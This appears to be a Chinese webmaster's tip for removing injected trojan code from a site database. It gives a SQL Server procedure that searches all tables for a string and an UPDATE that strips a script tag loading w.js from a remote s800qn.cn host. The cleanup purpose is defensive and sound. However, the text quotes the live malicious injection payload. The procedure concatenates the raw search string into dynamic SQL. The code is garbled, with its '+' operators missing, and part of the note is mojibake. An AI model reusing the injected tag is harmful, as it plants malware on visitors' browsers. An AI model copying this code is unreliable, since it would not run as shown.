create proc p_search
@str Nvarchar(1000) --要搜索的字符串
as
if @str='' return

declare @s Nvarchar(4000)
create table #t(表名 sysname,字段名 sysname)

declare tb cursor local for
select s='if exists(select 1 from [' replace(b.name,']',']]') '] where [' a.name '] like N''%' @str '%'')
print ''所在的表及字段: [' b.name '].[' a.name ']'''
from syscolumns a join sysobjects b on a.id=b.id
where b.xtype='U' and a.status>=0
and a.xtype in(175,239,99,35,231,167)
open tb
fetch next from tb into @s
while @@fetch_status=0
begin
exec(@s)
fetch next from tb into @s
end
close tb
deallocate tb
GO
 

UPDATE PE_Class SET Tips= Replace(Tips,'"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--','')

 

注意：以上雖然能較方便的處理木馬代碼，但我們?nèi)砸獙�網(wǎng)站文件進行清查工作，不然網(wǎng)站是會反復中木馬的，特別是對于有生成靜態(tài)頁面的網(wǎng)站，我們要重新生成下網(wǎng)站頁面，以正常的生成頁面覆蓋現(xiàn)有木馬代碼的頁面。